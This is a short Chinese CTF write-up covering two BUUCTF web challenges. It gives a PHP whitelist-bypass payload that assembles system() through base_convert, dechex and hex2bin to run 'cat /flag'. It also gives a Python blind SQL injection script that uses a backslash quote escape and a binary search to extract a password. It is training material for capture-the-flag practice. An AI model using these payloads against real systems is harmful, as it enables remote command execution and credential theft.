buuctf [CISCN 2019 初赛]Love Math&&[BJDCTF 2nd]简单注入
一、[CISCN 2019 初赛]Love Math
根据代码意思,应该就是通过使用白名单函数或者当成变量来使用,同时要求长度小于80
看到最后的exec,我们需要构造出system($_GET['a']),而这个已经被挡住了,我们可以传入a=system,b=cat /flag来获取flag
但还是需要得到_GET,另外中括号可以用大括号代替
base_convert(number,frombase,tobase);
将number从frombase进制转化为tobase进制
hex2bin()
把十六进制值转换为 ASCII 字符:
dechex()
把10进制转换为16进制
有base_convert(26941962055,10,34)即hex2bin 26941962055是base_convert("hex2bin",34,10)得来的,至于为什么34,我试过34之前的,都无法完整拼出henx2bin,到34就能
然后找到_GET的ascii码之后再转为16进制之后10进制即1598506324
dechex(1598506324)得到_GET的16进制,再通过hex2bin得出_GET
payload:
?c=$pi=base_convert(26941962055,10,34)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag
二、[BJDCTF 2nd]简单注入
用户名为admin\,将后面的单引号转义,再通过password= or if(ascii(substr(username,1,1))>100,1,0)#来判断username,以及password
使用脚本来找
import requests
url = 'http://d17c0398-67cb-471f-9190-c1c2cd35e810.node3.buuoj.cn'
data = {"username":"admin\\","password":""}
i = 0
flag = ""
while (True):
i = i+1
l = 32
r = 127
while(l < r):
mid = (l + r) >>1
password = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)
data['password'] = password
res = requests.post(url,data=data)
if "stronger" in res.text:
l = mid + 1
else:
r = mid
if l != 32:
flag = flag + chr(l)
else:
break
print(flag)